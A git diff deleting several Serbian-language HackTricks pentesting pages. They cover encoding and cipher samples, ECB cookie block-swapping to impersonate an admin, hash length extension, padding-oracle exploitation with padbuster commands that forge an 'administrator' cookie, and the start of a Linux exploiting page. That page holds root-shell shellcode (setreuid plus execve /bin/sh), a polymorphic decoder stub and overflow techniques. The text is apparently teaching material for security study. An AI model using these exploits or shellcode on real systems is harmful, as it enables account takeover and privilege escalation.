- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
|
||||
|
||||
[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
|
||||
|
||||
### HackerizeXS \[_╫Λ↻├☰┏_]
|
||||
```
|
||||
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
|
||||
```
|
||||
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Mrtvo: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
|
||||
|
||||
### Morse
|
||||
```
|
||||
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
|
||||
```
|
||||
- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||
|
||||
### UUencoder
|
||||
```
|
||||
begin 644 webutils_pl
|
||||
M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
|
||||
M3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/
|
||||
F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`
|
||||
`
|
||||
end
|
||||
```
|
||||
- [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
|
||||
|
||||
### XXEncoder
|
||||
```
|
||||
begin 644 webutils_pl
|
||||
hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
|
||||
5Hol-G2xAEE++
|
||||
end
|
||||
```
|
||||
- [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
|
||||
|
||||
### YEncoder
|
||||
```
|
||||
=ybegin line=128 size=28 name=webutils_pl
|
||||
ryvkryvkryvkryvkryvkryvkryvk
|
||||
=yend size=28 crc32=35834c86
|
||||
```
|
||||
- [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
|
||||
|
||||
### BinHex
|
||||
```
|
||||
(This file must be converted with BinHex 4.0)
|
||||
:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
|
||||
-38K26%'d9J!!:
|
||||
```
|
||||
- [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
|
||||
|
||||
### ASCII85
|
||||
```
|
||||
<~85DoF85DoF85DoF85DoF85DoF85DoF~>
|
||||
```
|
||||
- [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
|
||||
|
||||
### Dvorak tastatura
|
||||
```
|
||||
drnajapajrna
|
||||
```
|
||||
- [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard)
|
||||
|
||||
### A1Z26
|
||||
|
||||
Slova do njihove numeričke vrednosti
|
||||
```
|
||||
8 15 12 1 3 1 18 1 3 15 12 1
|
||||
```
|
||||
### Affine Cipher Encode
|
||||
|
||||
Pismo u broj `(ax+b)%26` (_a_ i _b_ su ključevi, a _x_ je pismo) i rezultat nazad u pismo
|
||||
```
|
||||
krodfdudfrod
|
||||
```
|
||||
### SMS Code
|
||||
|
||||
**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (Ovaj način se koristi prilikom pisanja SMS-a).\
|
||||
Na primer: 2=A, 22=B, 222=C, 3=D...\
|
||||
Možete identifikovati ovaj kod jer ćete videti **nekoliko ponovljenih brojeva**.
|
||||
|
||||
Možete dekodirati ovaj kod na: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
|
||||
|
||||
### Bacon Code
|
||||
|
||||
Zamenite svako slovo sa 4 A ili B (ili 1 i 0)
|
||||
```
|
||||
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
|
||||
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
|
||||
```
|
||||
### Runes
|
||||
|
||||

|
||||
|
||||
## Kompresija
|
||||
|
||||
**Raw Deflate** i **Raw Inflate** (možete ih pronaći u Cyberchef-u) mogu kompresovati i dekompresovati podatke bez zaglavlja.
|
||||
|
||||
## Laka Kriptografija
|
||||
|
||||
### XOR - Autosolver
|
||||
|
||||
- [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/)
|
||||
|
||||
### Bifid
|
||||
|
||||
Potrebna je ključna reč.
|
||||
```
|
||||
fgaargaamnlunesuneoa
|
||||
```
|
||||
### Vigenere
|
||||
|
||||
Potreban je ključ.
|
||||
```
|
||||
wodsyoidrods
|
||||
```
|
||||
- [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
|
||||
- [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
|
||||
- [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
|
||||
|
||||
## Snažna Kriptografija
|
||||
|
||||
### Fernet
|
||||
|
||||
2 base64 stringa (token i ključ)
|
||||
```
|
||||
Token:
|
||||
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
|
||||
|
||||
Key:
|
||||
-s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI=
|
||||
```
|
||||
- [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
|
||||
|
||||
### Samirovo deljenje tajni
|
||||
|
||||
Tajna se deli na X delova i da biste je povratili, potrebna su vam Y dela (_Y <=X_).
|
||||
```
|
||||
8019f8fa5879aa3e07858d08308dc1a8b45
|
||||
80223035713295bddf0b0bd1b10a5340b89
|
||||
803bc8cf294b3f83d88e86d9818792e80cd
|
||||
```
|
||||
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
|
||||
|
||||
### OpenSSL brute-force
|
||||
|
||||
- [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
|
||||
- [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF)
|
||||
|
||||
## Alati
|
||||
|
||||
- [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
|
||||
- [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
|
||||
- [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,68 +0,0 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
# ECB
|
||||
|
||||
(ECB) Elektronska knjiga kodova - simetrična šema enkripcije koja **menja svaki blok otvorenog teksta** sa **blokom šifrovanog teksta**. To je **najjednostavnija** šema enkripcije. Glavna ideja je da se **podeli** otvoreni tekst na **blokove od N bita** (zavisi od veličine bloka ulaznih podataka, algoritma enkripcije) i zatim da se enkriptuje (dekriptuje) svaki blok otvorenog teksta koristeći jedini ključ.
|
||||
|
||||

|
||||
|
||||
Korišćenje ECB ima više bezbednosnih implikacija:
|
||||
|
||||
- **Blokovi iz šifrovane poruke mogu biti uklonjeni**
|
||||
- **Blokovi iz šifrovane poruke mogu biti pomerani**
|
||||
|
||||
# Otkrivanje ranjivosti
|
||||
|
||||
Zamislite da se prijavljujete u aplikaciju nekoliko puta i **uvek dobijate isti kolačić**. To je zato što je kolačić aplikacije **`<username>|<password>`**.\
|
||||
Zatim, generišete nove korisnike, oboje sa **istim dugim lozinkama** i **gotovo** **istim** **korisničkim imenima**.\
|
||||
Otkrivate da su **blokovi od 8B** gde su **informacije obojice korisnika** iste **jednaki**. Tada zamišljate da bi to moglo biti zato što se **koristi ECB**.
|
||||
|
||||
Kao u sledećem primeru. Posmatrajte kako ova **2 dekodirana kolačića** imaju nekoliko puta blok **`\x23U\xE45K\xCB\x21\xC8`**.
|
||||
```
|
||||
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
|
||||
|
||||
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
|
||||
```
|
||||
Ovo je zato što **korisničko ime i lozinka tih kolačića sadrže nekoliko puta slovo "a"** (na primer). **Blokovi** koji su **različiti** su blokovi koji sadrže **barem 1 različit karakter** (možda delimiter "|" ili neka neophodna razlika u korisničkom imenu).
|
||||
|
||||
Sada, napadaču je potrebno samo da otkrije da li je format `<username><delimiter><password>` ili `<password><delimiter><username>`. Da bi to uradio, može jednostavno **generisati nekoliko korisničkih imena** sa **sličnim i dugim korisničkim imenima i lozinkama dok ne pronađe format i dužinu delimitera:**
|
||||
|
||||
| Dužina korisničkog imena: | Dužina lozinke: | Dužina korisničkog imena+lozinke: | Dužina kolačića (nakon dekodiranja): |
|
||||
| -------------------------- | ---------------- | --------------------------------- | ------------------------------------- |
|
||||
| 2 | 2 | 4 | 8 |
|
||||
| 3 | 3 | 6 | 8 |
|
||||
| 3 | 4 | 7 | 8 |
|
||||
| 4 | 4 | 8 | 16 |
|
||||
| 7 | 7 | 14 | 16 |
|
||||
|
||||
# Iskorišćavanje ranjivosti
|
||||
|
||||
## Uklanjanje celih blokova
|
||||
|
||||
Znajući format kolačića (`<username>|<password>`), kako bi se predstavio kao korisnik `admin`, kreirajte novog korisnika pod imenom `aaaaaaaaadmin` i dobijte kolačić i dekodirajte ga:
|
||||
```
|
||||
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
||||
```
|
||||
Možemo videti obrazac `\x23U\xE45K\xCB\x21\xC8` koji je prethodno kreiran sa korisničkim imenom koje je sadržalo samo `a`.\
|
||||
Zatim, možete ukloniti prvi blok od 8B i dobićete važeći kolačić za korisničko ime `admin`:
|
||||
```
|
||||
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
||||
```
|
||||
## Premještanje blokova
|
||||
|
||||
U mnogim bazama podataka je isto pretraživati `WHERE username='admin';` ili `WHERE username='admin ';` _(Obratite pažnju na dodatne razmake)_
|
||||
|
||||
Dakle, drugi način da se impersonira korisnik `admin` bio bi:
|
||||
|
||||
- Generisati korisničko ime koje: `len(<username>) + len(<delimiter) % len(block)`. Sa veličinom bloka od `8B` možete generisati korisničko ime pod nazivom: `username `, sa delimiterom `|` deo `<username><delimiter>` će generisati 2 bloka od 8B.
|
||||
- Zatim, generisati lozinku koja će popuniti tačan broj blokova koji sadrže korisničko ime koje želimo da impersoniramo i razmake, kao što je: `admin `
|
||||
|
||||
Kolačić ovog korisnika će se sastojati od 3 bloka: prva 2 su blokovi korisničkog imena + delimiter, a treći je lozinka (koja lažira korisničko ime): `username |admin `
|
||||
|
||||
**Zatim, samo zamenite prvi blok sa poslednjim i bićete impersonirajući korisnika `admin`: `admin |username`**
|
||||
|
||||
## Reference
|
||||
|
||||
- [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](<http://cryptowiki.net/index.php?title=Electronic_Code_Book_(ECB)>)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,38 +0,0 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
# Sažetak napada
|
||||
|
||||
Zamislite server koji **potpisuje** neke **podatke** tako što **dodaje** **tajnu** nekim poznatim čistim tekstualnim podacima i zatim hešira te podatke. Ako znate:
|
||||
|
||||
- **Dužinu tajne** (to se može takođe bruteforce-ovati iz datog opsega dužine)
|
||||
- **Čiste tekstualne podatke**
|
||||
- **Algoritam (i da je ranjiv na ovaj napad)**
|
||||
- **Padding je poznat**
|
||||
- Obično se koristi podrazumevani, tako da ako su ispunjena ostala 3 zahteva, ovo takođe važi
|
||||
- Padding varira u zavisnosti od dužine tajne + podataka, zato je dužina tajne potrebna
|
||||
|
||||
Tada je moguće da **napadač** **doda** **podatke** i **generiše** važeći **potpis** za **prethodne podatke + dodate podatke**.
|
||||
|
||||
## Kako?
|
||||
|
||||
U suštini, ranjivi algoritmi generišu heševe tako što prvo **heširaju blok podataka**, a zatim, **iz** **prethodno** kreiranog **heša** (stanja), **dodaju sledeći blok podataka** i **heširaju ga**.
|
||||
|
||||
Zamislite da je tajna "secret" a podaci su "data", MD5 od "secretdata" je 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
Ako napadač želi da doda string "append" može:
|
||||
|
||||
- Generisati MD5 od 64 "A"
|
||||
- Promeniti stanje prethodno inicijalizovanog heša na 6036708eba0d11f6ef52ad44e8b74d5b
|
||||
- Dodati string "append"
|
||||
- Završiti heš i rezultantni heš će biti **važeći za "secret" + "data" + "padding" + "append"**
|
||||
|
||||
## **Alat**
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/iagox86/hash_extender
|
||||
{{#endref}}
|
||||
|
||||
## Reference
|
||||
|
||||
Ovaj napad je dobro objašnjen na [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,102 +0,0 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
# CBC - Cipher Block Chaining
|
||||
|
||||
U CBC režimu **prethodni enkriptovani blok se koristi kao IV** za XOR sa sledećim blokom:
|
||||
|
||||

|
||||
|
||||
Da bi se dekriptovao CBC, vrše se **suprotne** **operacije**:
|
||||
|
||||

|
||||
|
||||
Obratite pažnju na to da je potrebno koristiti **ključ za enkripciju** i **IV**.
|
||||
|
||||
# Poravnanje poruka
|
||||
|
||||
Kako se enkripcija vrši u **fiksnim** **veličinama** **blokova**, obično je potrebno **poravnanje** u **poslednjem** **bloku** da bi se završila njegova dužina.\
|
||||
Obično se koristi **PKCS7**, koji generiše poravnanje **ponavljajući** **broj** **bajtova** **potrebnih** da se **završi** blok. Na primer, ako poslednjem bloku nedostaje 3 bajta, poravnanje će biti `\x03\x03\x03`.
|
||||
|
||||
Pogledajmo više primera sa **2 bloka dužine 8 bajtova**:
|
||||
|
||||
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
|
||||
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
|
||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** |
|
||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** |
|
||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
|
||||
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
|
||||
|
||||
Obratite pažnju na to kako je u poslednjem primeru **poslednji blok bio pun, pa je generisan još jedan samo sa poravnanjem**.
|
||||
|
||||
# Padding Oracle
|
||||
|
||||
Kada aplikacija dekriptuje enkriptovane podatke, prvo će dekriptovati podatke; zatim će ukloniti poravnanje. Tokom čišćenja poravnanja, ako **nevažeće poravnanje izazove uočljivo ponašanje**, imate **ranjivost padding oracle**. Uočljivo ponašanje može biti **greška**, **nedostatak rezultata** ili **sporiji odgovor**.
|
||||
|
||||
Ako primetite ovo ponašanje, možete **dekriptovati enkriptovane podatke** i čak **enkriptovati bilo koji čist tekst**.
|
||||
|
||||
## Kako iskoristiti
|
||||
|
||||
Možete koristiti [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) da iskoristite ovu vrstu ranjivosti ili samo uradite
|
||||
```
|
||||
sudo apt-get install padbuster
|
||||
```
|
||||
Da biste testirali da li je kolačić sajta ranjiv, možete pokušati:
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
|
||||
```
|
||||
**Encoding 0** znači da se koristi **base64** (ali su dostupni i drugi, proverite meni pomoći).
|
||||
|
||||
Takođe možete **iskoristiti ovu ranjivost da enkriptujete nove podatke. Na primer, zamislite da je sadržaj kolačića "**_**user=MyUsername**_**", tada ga možete promeniti u "\_user=administrator\_" i eskalirati privilegije unutar aplikacije. Takođe to možete uraditi koristeći `paduster`specifikujući -plaintext** parametar:
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
|
||||
```
|
||||
Ako je sajt ranjiv, `padbuster` će automatski pokušati da pronađe kada se javlja greška u punjenju, ali takođe možete naznačiti poruku o grešci koristeći **-error** parametar.
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
|
||||
```
|
||||
## Teorija
|
||||
|
||||
U **sažetku**, možete početi dekriptovati enkriptovane podatke pogađanjem ispravnih vrednosti koje se mogu koristiti za kreiranje svih **različitih paddinga**. Tada će napad padding oracle početi dekriptovanje bajtova od kraja ka početku pogađajući koja će biti ispravna vrednost koja **stvara padding od 1, 2, 3, itd**.
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
Zamislite da imate neki enkriptovani tekst koji zauzima **2 bloka** formirana bajtovima od **E0 do E15**.\
|
||||
Da biste **dekriptovali** **poslednji** **blok** (**E8** do **E15**), ceo blok prolazi kroz "dekripciju blok cifre" generišući **intermedijarne bajtove I0 do I15**.\
|
||||
Na kraju, svaki intermedijarni bajt se **XOR-uje** sa prethodnim enkriptovanim bajtovima (E0 do E7). Tako:
|
||||
|
||||
- `C15 = D(E15) ^ E7 = I15 ^ E7`
|
||||
- `C14 = I14 ^ E6`
|
||||
- `C13 = I13 ^ E5`
|
||||
- `C12 = I12 ^ E4`
|
||||
- ...
|
||||
|
||||
Sada, moguće je **modifikovati `E7` dok `C15` ne bude `0x01`**, što će takođe biti ispravan padding. Tako, u ovom slučaju: `\x01 = I15 ^ E'7`
|
||||
|
||||
Dakle, pronalaženjem E'7, moguće je **izračunati I15**: `I15 = 0x01 ^ E'7`
|
||||
|
||||
Što nam omogućava da **izračunamo C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||
|
||||
Znajući **C15**, sada je moguće **izračunati C14**, ali ovaj put brute-forcing padding `\x02\x02`.
|
||||
|
||||
Ovaj BF je jednako složen kao prethodni jer je moguće izračunati `E''15` čija je vrednost 0x02: `E''7 = \x02 ^ I15` tako da je samo potrebno pronaći **`E'14`** koji generiše **`C14` jednako `0x02`**.\
|
||||
Zatim, uradite iste korake da dekriptujete C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
||||
|
||||
**Pratite chain dok ne dekriptujete ceo enkriptovani tekst.**
|
||||
|
||||
## Detekcija ranjivosti
|
||||
|
||||
Registrujte se i prijavite sa ovim nalogom.\
|
||||
Ako se **prijavljujete više puta** i uvek dobijate **isti cookie**, verovatno postoji **nešto** **pogrešno** u aplikaciji. **Cookie koji se vraća treba da bude jedinstven** svaki put kada se prijavite. Ako je cookie **uvek** **isti**, verovatno će uvek biti važeći i neće biti načina da se **poništi**.
|
||||
|
||||
Sada, ako pokušate da **modifikujete** **cookie**, možete videti da dobijate **grešku** iz aplikacije.\
|
||||
Ali ako BF-ujete padding (koristeći padbuster na primer) uspete da dobijete drugi cookie važeći za drugog korisnika. Ovaj scenario je veoma verovatno ranjiv na padbuster.
|
||||
|
||||
## Reference
|
||||
|
||||
- [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,15 +0,0 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Ako na neki način možete enkriptovati običan tekst koristeći RC4, možete dekriptovati bilo koji sadržaj enkriptovan tim RC4 (koristeći istu lozinku) samo koristeći funkciju enkripcije.
|
||||
|
||||
Ako možete enkriptovati poznati običan tekst, takođe možete izvući lozinku. Više referenci možete pronaći na HTB Kryptos mašini:
|
||||
|
||||
{{#ref}}
|
||||
https://0xrick.github.io/hack-the-box/kryptos/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://0xrick.github.io/hack-the-box/kryptos/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,9 +0,0 @@
|
||||
# Ranljivosti E-mailova
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
##
|
||||
|
||||
##
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
@ -1,542 +0,0 @@
|
||||
# Linux Exploiting (Basic) (SPA)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **2.SHELLCODE**
|
||||
|
||||
Ver interrupcije kernela: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “\_\_NR\_”
|
||||
|
||||
setreuid(0,0); // \_\_NR_setreuid 70\
|
||||
execve(“/bin/sh”, args\[], NULL); // \_\_NR_execve 11\
|
||||
exit(0); // \_\_NR_exit 1
|
||||
|
||||
xor eax, eax ; čistimo eax\
|
||||
xor ebx, ebx ; ebx = 0 jer nema argumenta koji treba proslediti\
|
||||
mov al, 0x01 ; eax = 1 —> \_\_NR_exit 1\
|
||||
int 0x80 ; Izvrši syscall
|
||||
|
||||
**nasm -f elf assembly.asm** —> Vraća nam .o\
|
||||
**ld assembly.o -o shellcodeout** —> Daje nam izvršni fajl sastavljen od asembler koda i možemo izvući opkode sa **objdump**\
|
||||
**objdump -d -Mintel ./shellcodeout** —> Da vidimo da je to zaista naš shellcode i izvučemo OpCode
|
||||
|
||||
**Proveriti da shellcode funkcioniše**
|
||||
```
|
||||
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
|
||||
|
||||
void main(){
|
||||
void (*fp) (void);
|
||||
fp = (void *)shellcode;
|
||||
fp();
|
||||
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||||
```
|
||||
Da biste videli da se sistemski pozivi pravilno izvršavaju, potrebno je da kompajlirate prethodni program i sistemski pozivi treba da se pojave u **strace ./PROGRAMA_COMPILADO**.
|
||||
|
||||
Kada se kreiraju shellcode-ovi, može se primeniti trik. Prva instrukcija je jump na call. Call poziva originalni kod i takođe stavlja EIP na stek. Nakon instrukcije call, stavili smo string koji nam je potreban, tako da sa tim EIP-om možemo ukazati na string i nastaviti sa izvršavanjem koda.
|
||||
|
||||
EJ **TRIK (/bin/sh)**:
|
||||
```
|
||||
jmp 0x1f ; Salto al último call
|
||||
popl %esi ; Guardamos en ese la dirección al string
|
||||
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
|
||||
xorl %eax, %eax ; eax = NULL
|
||||
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
|
||||
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
|
||||
movl $0xb, %eax ; Syscall 11
|
||||
movl %esi, %ebx ; arg1=“/bin/sh”
|
||||
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
|
||||
leal 0xc(%esi), %edx ; arg3 = NULL
|
||||
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
|
||||
xorl %ebx, %ebx ; ebx = NULL
|
||||
movl %ebx, %eax
|
||||
inc %eax ; Syscall 1
|
||||
int $0x80 ; exit(0)
|
||||
call -0x24 ; Salto a la primera instrución
|
||||
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||||
```
|
||||
**EJ koristeći Stack(/bin/sh):**
|
||||
```
|
||||
section .text
|
||||
global _start
|
||||
_start:
|
||||
xor eax, eax ;Limpieza
|
||||
mov al, 0x46 ; Syscall 70
|
||||
xor ebx, ebx ; arg1 = 0
|
||||
xor ecx, ecx ; arg2 = 0
|
||||
int 0x80 ; setreuid(0,0)
|
||||
xor eax, eax ; eax = 0
|
||||
push eax ; “\0”
|
||||
push dword 0x68732f2f ; “//sh”
|
||||
push dword 0x6e69622f; “/bin”
|
||||
mov ebx, esp ; arg1 = “/bin//sh\0”
|
||||
push eax ; Null -> args[1]
|
||||
push ebx ; “/bin/sh\0” -> args[0]
|
||||
mov ecx, esp ; arg2 = args[]
|
||||
mov al, 0x0b ; Syscall 11
|
||||
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
|
||||
```
|
||||
**EJ FNSTENV:**
|
||||
```
|
||||
fabs
|
||||
fnstenv [esp-0x0c]
|
||||
pop eax ; Guarda el EIP en el que se ejecutó fabs
|
||||
…
|
||||
```
|
||||
**Egg Huter:**
|
||||
|
||||
Sastoji se od malog koda koji pretražuje stranice memorije povezane sa procesom u potrazi za shellcode-om koji je tamo sačuvan (traži neku potpisanu shellcode). Korisno u slučajevima kada se ima samo mali prostor za injektovanje koda.
|
||||
|
||||
**Shellcodes polimorfni**
|
||||
|
||||
Sastoje se od šifrovanih shell-ova koji imaju mali kod koji ih dešifruje i preskoči na njega, koristeći trik Call-Pop, ovo bi bio **primer šifrovanja cezara**:
|
||||
```
|
||||
global _start
|
||||
_start:
|
||||
jmp short magic
|
||||
init:
|
||||
pop esi
|
||||
xor ecx, ecx
|
||||
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
|
||||
desc:
|
||||
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
|
||||
sub cl, 1
|
||||
jnz desc
|
||||
jmp short sc
|
||||
magic:
|
||||
call init
|
||||
sc:
|
||||
;Aquí va el shellcode
|
||||
```
|
||||
## **5.Dopunske metode**
|
||||
|
||||
**Murat tehnika**
|
||||
|
||||
U linuxu se svi programi mapiraju počinjući od 0xbfffffff
|
||||
|
||||
Gledajući kako se gradi stek novog procesa u linuxu, može se razviti exploit tako da se program pokrene u okruženju čija je jedina promenljiva shellcode. Adresa ove se može izračunati kao: addr = 0xbfffffff - 4 - strlen(PUNO_izvršnog_imena) - strlen(shellcode)
|
||||
|
||||
Na ovaj način se jednostavno dobija adresa gde se nalazi promenljiva okruženja sa shellcode.
|
||||
|
||||
To se može uraditi zahvaljujući funkciji execle koja omogućava kreiranje okruženja koje ima samo željene promenljive okruženja.
|
||||
|
||||
##
|
||||
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
### **Format Strings to Buffer Overflows**
|
||||
|
||||
**sprintf moves** formatirani string **u** **promenljivu.** Stoga, možete zloupotrebiti **formatiranje** stringa da izazovete **buffer overflow u promenljivoj** u koju se sadržaj kopira.\
|
||||
Na primer, payload `%.44xAAAA` će **napisati 44B+"AAAA" u promenljivu**, što može izazvati buffer overflow.
|
||||
|
||||
### **\_\_atexit strukture**
|
||||
|
||||
> [!CAUTION]
|
||||
> Danas je veoma **čudno iskoristiti ovo**.
|
||||
|
||||
**`atexit()`** je funkcija kojoj se **druge funkcije prosleđuju kao parametri.** Ove **funkcije** će biti **izvršene** prilikom izvršavanja **`exit()`** ili **povratka** iz **main**.\
|
||||
Ako možete **modifikovati** **adresu** bilo koje od ovih **funkcija** da pokazuje na shellcode, na primer, dobićete **kontrolu** nad **procesom**, ali to je trenutno komplikovanije.\
|
||||
Trenutno su **adrese funkcija** koje treba izvršiti **sakrivene** iza nekoliko struktura i konačno adresa na koju pokazuje nije adresa funkcija, već je **kriptovana XOR** i pomeranjima sa **nasumičnim ključem**. Tako da je trenutno ovaj vektorski napad **ne baš koristan, barem na x86** i **x64_86**.\
